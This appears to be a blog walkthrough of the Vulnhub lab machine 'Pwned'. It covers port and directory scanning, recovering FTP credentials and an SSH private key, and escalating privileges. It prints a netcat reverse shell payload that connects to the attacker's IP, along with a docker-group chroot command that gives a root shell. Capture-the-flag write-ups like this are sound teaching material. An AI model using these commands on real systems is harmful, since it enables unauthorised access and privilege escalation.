Pwned - Walkthrough [Vulnhub]

Here's my solution for Pwned.
The Machine can be downloaded from here.

Nmap
Let start with nmap, scanning for all TCP Port.
nmap -sC -sV -p- 192.168.1.106


We find 3 port open.

Directory Scan
Browsing the website and checking the source, shows some sort of hint.



Using gobuster for scanning directories.
gobuster dir -u http://192.168.1.106/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r -e


We find an interesting directory, /hidden_text which shows up with secret.dic


Browsing http://192.168.1.106/hidden_text/secret.dic, viewing the pattern of secret.dic, we can
guess that it might be the name of a directory.


Downloaded the file and imported in gobuster.





We find one, /pwned.vuln
Browsing http://192.168.1.106/pwned.vuln and checking the source gives us the ftp credential.
User: ftpuser
Password: B0ss_B!TcH


Login into ftp, a directory named as share, has two files note.txt and id_rsa. Lets get them.



Message in note.txt


The id_rsa, its a private key of user ariana.



Getting Access
Before accessing ssh, lets change the file permission of id_rsa.
chmod 600 id_rsa



And we are logged in, we find our first flag.


Privilege Escalation
From Arina > Selena
We see that we can run /home/messenger.sh file as user selena.
Lets execute it.



In the message, we enter the payload as-
nc -e /bin/bash 192.168.1.108 8080


On the other hand , on our machine started the netcat listener on port 8080 to get a reverse shell.


The second flag.


From Selena > Root
The output of id command, shows that the user is a member of docker group.

Executing,
docker run -v /:/mnt --rm -it alpine chroot /mnt sh


The final flag.


Comments

Popular posts from this blog

Sunset:Noontide - Walkthrough [Vulnhub]

CyberSploit:2 - Walkthrough [Vulnhub]

BBS(cute):1.0.1 - Walkthrough [Vulnhub]